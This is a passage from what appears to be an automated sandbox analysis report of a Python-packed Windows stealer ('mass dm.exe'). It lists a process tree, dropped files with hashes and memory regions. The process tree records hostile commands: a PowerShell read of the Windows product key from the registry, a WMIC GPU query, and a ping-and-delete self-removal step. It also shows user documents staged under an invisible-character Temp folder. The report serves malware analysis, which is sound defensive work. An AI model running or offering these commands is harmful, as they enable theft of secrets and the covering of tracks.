                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                wmic path win32_VideoController get name
                                                                                4⤵
                                                                                • Detects videocard installed
                                                                                PID:1924
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                              3⤵
                                                                                PID:4072
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                  4⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:4808
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\mass dm.exe""
                                                                                3⤵
                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                PID:1536
                                                                                • C:\Windows\system32\PING.EXE
                                                                                  ping localhost -n 3
                                                                                  4⤵
                                                                                  • System Network Configuration Discovery: Internet Connection Discovery
                                                                                  • Runs ping.exe
                                                                                  PID:4912

                                                                          Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            627073ee3ca9676911bee35548eff2b8

                                                                            SHA1

                                                                            4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                                                                            SHA256

                                                                            85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                                                                            SHA512

                                                                            3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                            Filesize

                                                                            944B

                                                                            MD5

                                                                            6903d57eed54e89b68ebb957928d1b99

                                                                            SHA1

                                                                            fade011fbf2e4bc044d41e380cf70bd6a9f73212

                                                                            SHA256

                                                                            36cbb00b016c9f97645fb628ef72b524dfbdf6e08d626e5c837bbbb9075dcb52

                                                                            SHA512

                                                                            c192ea9810fd22de8378269235c1035aa1fe1975a53c876fe4a7acc726c020f94773c21e4e4771133f9fcedb0209f0a5324c594c1db5b28fe1b27644db4fdc9e

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                            Filesize

                                                                            944B

                                                                            MD5

                                                                            8082885362359f72fb414d2fa6ad357d

                                                                            SHA1

                                                                            c6111820bcf1adf9ac4e8a441d984790465b6393

                                                                            SHA256

                                                                            0b70605985f4148a236426049c44406110e9edc165a0501f636015a30340beef

                                                                            SHA512

                                                                            b5d227b5ac6549566d7456616b98fe9aa62f6721be43a9e5674c35c2c9d218f7fec0fea978bdaff3ec73b6591c6e41efa8946526c2ab473da1c443a5a851a145

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                            Filesize

                                                                            1KB

                                                                            MD5

                                                                            6679f315bebd1d880e8ffa89440aeef2

                                                                            SHA1

                                                                            ca753afcdb985a2c1662fbf61ef9336cf4a401b2

                                                                            SHA256

                                                                            2ed216c624bf8fcb2a4231ca070779d8e9d8bc1722d930e4ed8cb7dd0e5a50fc

                                                                            SHA512

                                                                            b332d3f7d9724aa3236895667cafdbfbd4b45145e409b72d46b70febec79068960afd3f42949b1fdc7a6608aaf57f54db9a05c23b5d4af9afa1da7c60b59752a

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                            Filesize

                                                                            1KB

                                                                            MD5

                                                                            30094682f11782f0b5d55d3cb91fa9d0

                                                                            SHA1

                                                                            9d188a91a3cb56e9fa4e0f2a5b8dab798310fc2e

                                                                            SHA256

                                                                            afaa1e96322eb528770e9be27fe6f60f2f589b09b8816325b60d36025509a115

                                                                            SHA512

                                                                            12bf861ebb06a35b1d88e14965e54f43847c9d8e612d925f5bc0ab1733fd1bae76528bf41c47f4070fa9d8d752a572c458225a24a5609ded55587af817c11b84

                                                                          • C:\Users\Admin\AppData\Local\Temp\RESBDF1.tmp

                                                                            Filesize

                                                                            1KB

                                                                            MD5

                                                                            e9fd3a12456f81e63dfdd3614af763f2

                                                                            SHA1

                                                                            02618730a56b4adf71bf9fa2bef6469f88158714

                                                                            SHA256

                                                                            8b3ed0d62f7591d56692b7a95760a380a903bd17174513c41881d0b581d5ea27

                                                                            SHA512

                                                                            ef784fb26d2ad4309966bbab1e92eda1b33df343a05c9dc0c0516054761d8377a68687bd5a2c1a9786ed1220820d6dbadf86cae667b9b6b40bed209bfc3f9aee

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\VCRUNTIME140.dll

                                                                            Filesize

                                                                            117KB

                                                                            MD5

                                                                            862f820c3251e4ca6fc0ac00e4092239

                                                                            SHA1

                                                                            ef96d84b253041b090c243594f90938e9a487a9a

                                                                            SHA256

                                                                            36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153

                                                                            SHA512

                                                                            2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\_bz2.pyd

                                                                            Filesize

                                                                            48KB

                                                                            MD5

                                                                            58fc4c56f7f400de210e98ccb8fdc4b2

                                                                            SHA1

                                                                            12cb7ec39f3af0947000295f4b50cbd6e7436554

                                                                            SHA256

                                                                            dfc195ebb59dc5e365efd3853d72897b8838497e15c0977b6edb1eb347f13150

                                                                            SHA512

                                                                            ad0c6a9a5ca719d244117984a06cce8e59ed122855e4595df242df18509752429389c3a44a8ba0abc817d61e37f64638ccbdffc17238d4c38d2364f0a10e6bc7

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\_ctypes.pyd

                                                                            Filesize

                                                                            62KB

                                                                            MD5

                                                                            79879c679a12fac03f472463bb8ceff7

                                                                            SHA1

                                                                            b530763123bd2c537313e5e41477b0adc0df3099

                                                                            SHA256

                                                                            8d1a21192112e13913cb77708c105034c5f251d64517017975af8e0c4999eba3

                                                                            SHA512

                                                                            ca19ddaefc9ab7c868dd82008a79ea457acd71722fec21c2371d51dcfdb99738e79eff9b1913a306dbedacb0540ca84a2ec31dc2267c7b559b6a98b390c5f3a7

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\_decimal.pyd

                                                                            Filesize

                                                                            117KB

                                                                            MD5

                                                                            21d27c95493c701dff0206ff5f03941d

                                                                            SHA1

                                                                            f1f124d4b0e3092d28ba4ea4fe8cf601d5bd8600

                                                                            SHA256

                                                                            38ec7a3c2f368ffeb94524d7c66250c0d2dafe58121e93e54b17c114058ea877

                                                                            SHA512

                                                                            a5fbda904024cd097a86d6926e0d593b0f7e69e32df347a49677818c2f4cd7dc83e2bab7c2507428328248bd2f54b00f7b2a077c8a0aad2224071f8221cb9457

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\_hashlib.pyd

                                                                            Filesize

                                                                            35KB

                                                                            MD5

                                                                            d6f123c4453230743adcc06211236bc0

                                                                            SHA1

                                                                            9f9ade18ac3e12bcc09757a3c4b5ee74cf5e794e

                                                                            SHA256

                                                                            7a904fa6618157c34e24aaac33fdf84035215d82c08eec6983c165a49d785dc9

                                                                            SHA512

                                                                            f5575d18a51207b4e9df5bb95277d4d03e3bb950c0e7b6c3dd2288645e26e1de8edcf634311c21a6bdc8c3378a71b531f840b8262db708726d36d15cb6d02441

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\_lzma.pyd

                                                                            Filesize

                                                                            86KB

                                                                            MD5

                                                                            055eb9d91c42bb228a72bf5b7b77c0c8

                                                                            SHA1

                                                                            5659b4a819455cf024755a493db0952e1979a9cf

                                                                            SHA256

                                                                            de342275a648207bef9b9662c9829af222b160975ad8925cc5612cd0f182414e

                                                                            SHA512

                                                                            c5cba050f4b805a299f5d04ec0dce9b718a16bc335cac17f23e96519da0b9eaaf25ae0e9b29ef3dc56603bfe8317cdc1a67ee6464d84a562cf04bea52c31cfac

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\_queue.pyd

                                                                            Filesize

                                                                            26KB

                                                                            MD5

                                                                            513dce65c09b3abc516687f99a6971d8

                                                                            SHA1

                                                                            8f744c6f79a23aa380d9e6289cb4504b0e69fe3b

                                                                            SHA256

                                                                            d4be41574c3e17792a25793e6f5bf171baeeb4255c08cb6a5cd7705a91e896fc

                                                                            SHA512

                                                                            621f9670541cac5684892ec92378c46ff5e1a3d065d2e081d27277f1e83d6c60510c46cab333c6ed0ff81a25a1bdc0046c7001d14b3f885e25019f9cdd550ed0

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\_socket.pyd

                                                                            Filesize

                                                                            44KB

                                                                            MD5

                                                                            14392d71dfe6d6bdc3ebcdbde3c4049c

                                                                            SHA1

                                                                            622479981e1bbc7dd13c1a852ae6b2b2aebea4d7

                                                                            SHA256

                                                                            a1e39e2386634069070903e2d9c2b51a42cb0d59c20b7be50ef95c89c268deb2

                                                                            SHA512

                                                                            0f6359f0adc99efad5a9833f2148b066b2c4baf564ba16090e04e2b4e3a380d6aff4c9e7aeaa2ba247f020f7bd97635fcdfe4e3b11a31c9c6ea64a4142333424

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\_sqlite3.pyd

                                                                            Filesize

                                                                            58KB

                                                                            MD5

                                                                            8cd40257514a16060d5d882788855b55

                                                                            SHA1

                                                                            1fd1ed3e84869897a1fad9770faf1058ab17ccb9

                                                                            SHA256

                                                                            7d53df36ee9da2df36c2676cfaea84ee87e7e2a15ad8123f6abb48717c3bc891

                                                                            SHA512

                                                                            a700c3ce95ce1b3fd65a9f335c7c778643b2f7140920fe7ebf5d9be1089ba04d6c298bf28427ca774fbf412d7f9b77f45708a8a0729437f136232e72d6231c34

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\_ssl.pyd

                                                                            Filesize

                                                                            66KB

                                                                            MD5

                                                                            7ef27cd65635dfba6076771b46c1b99f

                                                                            SHA1

                                                                            14cb35ce2898ed4e871703e3b882a057242c5d05

                                                                            SHA256

                                                                            6ef0ef892dc9ad68874e2743af7985590bb071e8afe3bbf8e716f3f4b10f19b4

                                                                            SHA512

                                                                            ac64a19d610448badfd784a55f3129d138e3b697cf2163d5ea5910d06a86d0ea48727485d97edba3c395407e2ccf8868e45dd6d69533405b606e5d9b41baadc0

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\base_library.zip

                                                                            Filesize

                                                                            1.3MB

                                                                            MD5

                                                                            a9cbd0455b46c7d14194d1f18ca8719e

                                                                            SHA1

                                                                            e1b0c30bccd9583949c247854f617ac8a14cbac7

                                                                            SHA256

                                                                            df6c19637d239bfedc8cd13d20e0938c65e8fdf340622ff334db533f2d30fa19

                                                                            SHA512

                                                                            b92468e71490a8800e51410df7068dd8099e78c79a95666ecf274a9e9206359f049490b8f60b96081fafd872ec717e67020364bcfa972f26f0d77a959637e528

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\blank.aes

                                                                            Filesize

                                                                            114KB

                                                                            MD5

                                                                            8413e547a34fc485a9c7b7080942b039

                                                                            SHA1

                                                                            3a21610978711da4b696015fd9a6e2130ce06df6

                                                                            SHA256

                                                                            d15cb20d2d02d99374b5b612be578e6bb5763f1ce4f25951ffbf1f281782533f

                                                                            SHA512

                                                                            2ea4a3bc0733a004ddd824c429b7e112f52ea73e5fc0d2223d6371cba09b1bf0374678b6f8b5c06414a2e31480bbcef0bf28bfbcd449b8f6ce10dc2eaff090f6

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\libcrypto-3.dll

                                                                            Filesize

                                                                            1.6MB

                                                                            MD5

                                                                            8377fe5949527dd7be7b827cb1ffd324

                                                                            SHA1

                                                                            aa483a875cb06a86a371829372980d772fda2bf9

                                                                            SHA256

                                                                            88e8aa1c816e9f03a3b589c7028319ef456f72adb86c9ddca346258b6b30402d

                                                                            SHA512

                                                                            c59d0cbe8a1c64f2c18b5e2b1f49705d079a2259378a1f95f7a368415a2dc3116e0c3c731e9abfa626d12c02b9e0d72c98c1f91a359f5486133478144fa7f5f7

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\libffi-8.dll

                                                                            Filesize

                                                                            29KB

                                                                            MD5

                                                                            08b000c3d990bc018fcb91a1e175e06e

                                                                            SHA1

                                                                            bd0ce09bb3414d11c91316113c2becfff0862d0d

                                                                            SHA256

                                                                            135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

                                                                            SHA512

                                                                            8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\libssl-3.dll

                                                                            Filesize

                                                                            221KB

                                                                            MD5

                                                                            b2e766f5cf6f9d4dcbe8537bc5bded2f

                                                                            SHA1

                                                                            331269521ce1ab76799e69e9ae1c3b565a838574

                                                                            SHA256

                                                                            3cc6828e7047c6a7eff517aa434403ea42128c8595bf44126765b38200b87ce4

                                                                            SHA512

                                                                            5233c8230497aadb9393c3ee5049e4ab99766a68f82091fe32393ee980887ebd4503bf88847c462c40c3fc786f8d179dac5cb343b980944ade43bc6646f5ad5a

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\python313.dll

                                                                            Filesize

                                                                            1.8MB

                                                                            MD5

                                                                            6ef5d2f77064df6f2f47af7ee4d44f0f

                                                                            SHA1

                                                                            0003946454b107874aa31839d41edcda1c77b0af

                                                                            SHA256

                                                                            ab7c640f044d2eb7f4f0a4dfe5e719dfd9e5fcd769943233f5cece436870e367

                                                                            SHA512

                                                                            1662cc02635d63b8114b41d11ec30a2af4b0b60209196aac937c2a608588fee47c6e93163ea6bf958246c32759ac5c82a712ea3d690e796e2070ac0ff9104266

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\rar.exe

                                                                            Filesize

                                                                            615KB

                                                                            MD5

                                                                            9c223575ae5b9544bc3d69ac6364f75e

                                                                            SHA1

                                                                            8a1cb5ee02c742e937febc57609ac312247ba386

                                                                            SHA256

                                                                            90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

                                                                            SHA512

                                                                            57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\rarreg.key

                                                                            Filesize

                                                                            456B

                                                                            MD5

                                                                            4531984cad7dacf24c086830068c4abe

                                                                            SHA1

                                                                            fa7c8c46677af01a83cf652ef30ba39b2aae14c3

                                                                            SHA256

                                                                            58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

                                                                            SHA512

                                                                            00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\select.pyd

                                                                            Filesize

                                                                            25KB

                                                                            MD5

                                                                            fb70aece725218d4cba9ba9bbb779ccc

                                                                            SHA1

                                                                            bb251c1756e5bf228c7b60daea1e3b6e3f9f0ff5

                                                                            SHA256

                                                                            9d440a1b8a6a43cfaa83b9bc5c66a9a341893a285e02d25a36c4781f289c8617

                                                                            SHA512

                                                                            63e6db638911966a86f423da8e539fc4ab7eb7b3fb76c30c16c582ce550f922ad78d1a77fa0605caffa524e480969659bf98176f19d5effd1fc143b1b13bbaaf

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\sqlite3.dll

                                                                            Filesize

                                                                            643KB

                                                                            MD5

                                                                            21aea45d065ecfa10ab8232f15ac78cf

                                                                            SHA1

                                                                            6a754eb690ff3c7648dae32e323b3b9589a07af2

                                                                            SHA256

                                                                            a1a694b201976ea57d4376ae673daa21deb91f1bf799303b3a0c58455d5126e7

                                                                            SHA512

                                                                            d5c9dc37b509a3eafa1e7e6d78a4c1e12b5925b5340b09bee06c174d967977264c9eb45f146abed1b1fc8aa7c48f1e0d70d25786ed46849f5e7cc1c5d07ac536

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI32842\unicodedata.pyd

                                                                            Filesize

                                                                            260KB

                                                                            MD5

                                                                            b2712b0dd79a9dafe60aa80265aa24c3

                                                                            SHA1

                                                                            347e5ad4629af4884959258e3893fde92eb3c97e

                                                                            SHA256

                                                                            b271bd656e045c1d130f171980ed34032ac7a281b8b5b6ac88e57dce12e7727a

                                                                            SHA512

                                                                            4dc7bd1c148a470a3b17fa0b936e3f5f68429d83d552f80051b0b88818aa88efc3fe41a2342713b7f0f2d701a080fb9d8ac4ff9be5782a6a0e81bd759f030922

                                                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2cctva5r.ylo.ps1

                                                                            Filesize

                                                                            60B

                                                                            MD5

                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                            SHA1

                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                            SHA256

                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                            SHA512

                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                          • C:\Users\Admin\AppData\Local\Temp\rfmhtp0c\rfmhtp0c.dll

                                                                            Filesize

                                                                            4KB

                                                                            MD5

                                                                            0c5daea57e921eda884c27162aa94324

                                                                            SHA1

                                                                            3c7884c445fefa35bd55335a73b3a61ff86d8d7f

                                                                            SHA256

                                                                            30ef3db2341459dd6369fb193da1bc5098debb7ab2173358625ee7157bf38d05

                                                                            SHA512

                                                                            4ce2bef4d49ae3b6a602ad339c0775ecdb29ed458bb3bfdb0151d0aadec266bed5ea03ecf128147da711d4e18d161d0e490758a561cd14cb197bf1e076adbdec

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Desktop\AssertUninstall.jpg

                                                                            Filesize

                                                                            533KB

                                                                            MD5

                                                                            bd751f4add37f551e292a0f9d9728521

                                                                            SHA1

                                                                            3a6ae773e642d58fab0940a04f6e1b7fd065f10c

                                                                            SHA256

                                                                            9e602c045253fcd76a50b091dc3f0e633d99317a1f94f58eacc2b57111f4ff66

                                                                            SHA512

                                                                            8afd74246b10a7904abd61b253888070df3204ea639caa55dca8a20c1b14d7364bb2ea6e6a504fb197ed0859efa61fab6a585ccc35211a0a6dc785a0ee44050c

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Desktop\ClearEdit.xlsx

                                                                            Filesize

                                                                            363KB

                                                                            MD5

                                                                            c669887bce406b96adf8f3ccf00debaf

                                                                            SHA1

                                                                            e7dd92670080ce223434766020275cc4ff6d32c4

                                                                            SHA256

                                                                            5ba87af3b3d7a42fade8e6361a0dca238cd59546be3e40c331da7f0f38858a3a

                                                                            SHA512

                                                                            229d70c5ee076d62af22ddd2fcaad43b0363e434543b8661eb9c30b12f316cd8d91d7d5f28bf409f774348aaff8aa5bb334b365b1c6d3adb8630b26bd67487ff

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Desktop\DismountStep.docx

                                                                            Filesize

                                                                            16KB

                                                                            MD5

                                                                            544953f3c56b1d69bd606d66888a0cca

                                                                            SHA1

                                                                            73b35afb82f8ca0454ee1f9cf9e1461c025c31ad

                                                                            SHA256

                                                                            50d096d1f45aaa400d40d7c1e4090bab7cc91d9f4eedcf30de85e7584ecb1175

                                                                            SHA512

                                                                            3ad5ec57c013dc7b0cbb4b121fa064aa66e5d55a5d5d0043549d4c814fbbd6ceebbb56f4652f43f457da7c3a5ff5f5733e60fa9ea68cd47069bd2826aeb305da

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Desktop\EditPing.xlsx

                                                                            Filesize

                                                                            9KB

                                                                            MD5

                                                                            a961f7bdef0f1af556b33b79ca5fa369

                                                                            SHA1

                                                                            acf1cb8232ff0788c9c686b33c0a04e523c83a29

                                                                            SHA256

                                                                            875739aee146c4dd64d927d3d9bd6fc9cfb0485b0a99528168041ca65bbcbfd8

                                                                            SHA512

                                                                            9cee3569f45b8714faee164c0073a4dbfca220a3b23bb355344f15c3b0f61e8d14e1de5079222057308adde05414afe4a24044ef60bcbfe9aeff8831c33468b8

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Desktop\NewSwitch.docx

                                                                            Filesize

                                                                            21KB

                                                                            MD5

                                                                            f207eec9c1ac53b8db14997e065a4c3a

                                                                            SHA1

                                                                            322e8bbfc4c1ecb97cb2d5538041d1226ec05818

                                                                            SHA256

                                                                            fd65252e53a20a22988b12316181cec5be61f37f58957ef2ec061bc5e3dc816d

                                                                            SHA512

                                                                            6adf7b22f8744780b34d2792f82b0708f168dfc8ccfa1a571057f8fc923b66278f6a7224dd2d82355d5dc9c5d20fcd6fc241dbd240b58d9d1d91082f41931bc3

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Desktop\PingUse.txt

                                                                            Filesize

                                                                            848KB

                                                                            MD5

                                                                            ea896367ae4c522b56117ab8fe96c2b1

                                                                            SHA1

                                                                            d1d24b65b828d3451ea208c0edafdd2c59026ec9

                                                                            SHA256

                                                                            b37676d371aecfcaa710322c6658f6b6f32e99bf75f6f0977340d4da87227c73

                                                                            SHA512

                                                                            95b3cb3cd4eaf192866728e8c47a1c2f6fc8e5bde24f4b0c0c40c682a5aaeea34a4597d9934c9ef2c244faa1ea4e01d8fc732406751a357e6fb9fc74a180028d

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Desktop\SearchInitialize.xls

                                                                            Filesize

                                                                            654KB

                                                                            MD5

                                                                            d1158110f2c15815993a5593f3243fba

                                                                            SHA1

                                                                            cf5f96dd02355f8dc7c0aa2e026a3cf58bfc683d

                                                                            SHA256

                                                                            ae56d1d295d2d12464dd1ca72aa5f02d18cbacbdf722baf0cf3dd86538872995

                                                                            SHA512

                                                                            66b3c071c4759a663c5a3d1221ec281259d76926a21cb260d35211ae2284a1bb288e76d38fc0abd0ec5f019e7ed8107cda1926b7c611ca8192c62077eca541cb

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Desktop\SendStep.xlsx

                                                                            Filesize

                                                                            15KB

                                                                            MD5

                                                                            60a7c07942579bfd698e647960ef9b30

                                                                            SHA1

                                                                            ad3cbb7300eaedaed43c95c5db06ba9310788947

                                                                            SHA256

                                                                            c3d15e50f51dd0aac8d6af860f2407b27cdc9599cf316fca1ad133af0bc49733

                                                                            SHA512

                                                                            e5330c9bab15c0d8d9900b065d11edc2087a919e7741ef0d06c16356bce37e379ce3a5bd49303dcb13ac30b36dfa3b2dc3ea506cb1027df7992cbe80daff96db

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Desktop\TestStop.docx

                                                                            Filesize

                                                                            14KB

                                                                            MD5

                                                                            966ba23ea9e1d4ff9f8501fce5820f01

                                                                            SHA1

                                                                            7337bddab46aff68c04318e6ef479490c0657bda

                                                                            SHA256

                                                                            8106ba5535f489f8e7f6f0d9e901dfbb7575c49a324f3cf116c8a83f6f52c844

                                                                            SHA512

                                                                            d7b1a958725e48ebc5a3673bfe6f16332e9adc96340ff075269a6b0b8c704fd578df6a3f31b63f596421a15ed894cae11edd92122e6a415e4693de26f6fa9735

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Desktop\UnblockAssert.jpg

                                                                            Filesize

                                                                            630KB

                                                                            MD5

                                                                            aa6c06e937d7729c8395ee4fd14c33e4

                                                                            SHA1

                                                                            6a08b4805fe9873de0db62fff7b97527ffb91019

                                                                            SHA256

                                                                            eac016dc5f8e85157e8845e284ae2fd8a1849711597988717959f17564b4675f

                                                                            SHA512

                                                                            72e2b3b3d7acb08fb132e7ea96eb4f86c6faeacb3fe1ebac5b64ce52c435571e630337109439a306e0209aa6ca6bdccdd4c1fc1cd0d6cf1decdb5e44f9dffc31

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Documents\CompleteSet.docx

                                                                            Filesize

                                                                            17KB

                                                                            MD5

                                                                            be79eb09a4a62a466254db2dc8251743

                                                                            SHA1

                                                                            db0318a57e3e870cf843f58086c68b42c88e5765

                                                                            SHA256

                                                                            b5beb6f568698ac2c86ee68359c4cbcd76625d79bfcc38236b6a6a1f7db6606e

                                                                            SHA512

                                                                            2ce528bd0b5d69ca5bbb926f725ea2e251ac81e0c39ad5ea491435c3afd1363039f37d8e0e2ce5cfb79da464a208c31093bb681d3c36e00f34371d837722766e

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Documents\DismountRequest.txt

                                                                            Filesize

                                                                            1.1MB

                                                                            MD5

                                                                            978a0c3c04abaf5a753075ebc71cc492

                                                                            SHA1

                                                                            6f0e8315dec377219adaca378cad2b07d9ed20ed

                                                                            SHA256

                                                                            04460569f081f1283f018c15e816d53e2938c2ee27709c949a2f4a43cc9be9b1

                                                                            SHA512

                                                                            5c45d615edafd4a0799e55b3b2cfa06c5f85b9c1160e0da6b62a72bc9d05cbd47fbfe47ad89b5262f0d021621be33aaa80833f0d9222bc580fdede9478e2f457

                                                                          • C:\Users\Admin\AppData\Local\Temp\   ​ ​ ‏ ‎\Common Files\Documents\FormatRestart.txt

                                                                            Filesize

                                                                            1.8MB

                                                                            MD5

                                                                            6a4b5a21c36c55417e8a98c130c1886a

                                                                            SHA1

                                                                            23260f9392e2daf5bb18db5386588e4b03eda785

                                                                            SHA256

                                                                            8df86599bad20c12d711c0f432136f14a2c7bd4ec0e97fe5dab4c444a27f39f3

                                                                            SHA512

                                                                            f5037aa98c0ebed526621880c2a54451cae1bca6b295ea48678fba648698af747dd729c6140773cd1c93460dbf42963e8f817fd3e6d3b3d171c0bd6afb5e3603

                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\rfmhtp0c\CSC6A0C2792ED6649B0A6BD794AA8B29328.TMP

                                                                            Filesize

                                                                            652B

                                                                            MD5

                                                                            f6ace64c3e3440e79deea6ccec08abb9

                                                                            SHA1

                                                                            e12b1b1af21716ddc1e327b540859d94f58dc0f6

                                                                            SHA256

                                                                            a3a8a4881a90e2f05e1ed1612ac9ea7418424cea6a2d3c63ebb446fe39a02421

                                                                            SHA512

                                                                            095b50881560f8f41ca268ad01641d9221c60d771cc4326e6456de90f19991607aa5e1bb71408a601d31706951a8fc301418e99a172260119a5ebceaa3307d85

                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\rfmhtp0c\rfmhtp0c.0.cs

                                                                            Filesize

                                                                            1004B

                                                                            MD5

                                                                            c76055a0388b713a1eabe16130684dc3

                                                                            SHA1

                                                                            ee11e84cf41d8a43340f7102e17660072906c402

                                                                            SHA256

                                                                            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                            SHA512

                                                                            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\rfmhtp0c\rfmhtp0c.cmdline

                                                                            Filesize

                                                                            607B

                                                                            MD5

                                                                            f5cb619f63c289b4e779816167595cc2

                                                                            SHA1

                                                                            489feab95ea05cc8587ada22869c2626c7cbd0ee

                                                                            SHA256

                                                                            3144d0c3fc4985495b51dc987677dd99872201158accffc676d20eefc94b4047

                                                                            SHA512

                                                                            bbc42dc82210b7b77f0c2d44b58ff6981f10312bd146d4d4905ddcad8dde13ea5d59a3f21e6ea0588ec2cc5dc7b47de6d4d7bddbbbe8f8df24292dca0ed22432

                                                                          • memory/1416-244-0x000001AFE89C0000-0x000001AFE89C8000-memory.dmp

                                                                            Filesize

                                                                            32KB

                                                                          • memory/3992-89-0x00000290FD790000-0x00000290FD7B2000-memory.dmp

                                                                            Filesize

                                                                            136KB

                                                                          • memory/4048-56-0x00007FFAA3EE0000-0x00007FFAA3EF9000-memory.dmp

                                                                            Filesize

                                                                            100KB

                                                                          • memory/4048-78-0x00007FFA9EBF0000-0x00007FFA9EC04000-memory.dmp

                                                                            Filesize

                                                                            80KB

                                                                          • memory/4048-107-0x00007FFA9DED0000-0x00007FFA9E04F000-memory.dmp

                                                                            Filesize

                                                                            1.5MB

                                                                          • memory/4048-82-0x00007FFAA3EE0000-0x00007FFAA3EF9000-memory.dmp

                                                                            Filesize

                                                                            100KB

                                                                          • memory/4048-83-0x00007FFA9DD40000-0x00007FFA9DDF3000-memory.dmp

                                                                            Filesize

                                                                            716KB

